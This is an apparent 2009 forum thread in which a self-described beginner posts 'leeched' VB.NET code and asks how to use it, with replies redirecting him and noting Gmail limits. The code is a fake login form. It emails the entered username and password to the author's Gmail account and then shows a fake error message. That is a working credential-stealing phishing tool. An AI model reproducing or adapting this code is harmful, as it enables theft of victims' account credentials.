I dont know what language this is im just a wee newb learning my PHP over there in the corner. and yes it is leeched i was wondering how to put it to use.
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Missing")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Any Error You Want Here")
crushed (12-26-2009)
Post this in the VB section, or the PHP/HTML section, please.
crushed (12-26-2009)
It's VB so I will send you there. Bye bye![]()
"Every gun that is made, every warship launched, every rocket fired signifies, in the final sense, a theft from those who hunger and are not fed, those who are cold and are not clothed. This world in arms is not spending money alone. It is spending the sweat of its laborers, the genius of its scientists, the hopes of its children. The cost of one modern heavy bomber is this: a modern brick school in more than 30 cities. It is two electric power plants, each serving a town of 60,000 population. It is two fine, fully equipped hospitals. It is some fifty miles of concrete pavement. We pay for a single fighter plane with a half million bushels of wheat. We pay for a single destroyer with new homes that could have housed more than 8,000 people. This is, I repeat, the best way of life to be found on the road the world has been taking. This is not a way of life at all, in any true sense. Under the cloud of threatening war, it is humanity hanging from a cross of iron."- Dwight D. Eisenhower
What do you need it for?
The code is used for sending a email inside of a VB project (software created in VB)
and a few more things, you will not get to far with this code, A. Gmail no longer allows relays and I'm almost 100% sure that port 587 is now blocked by gmail.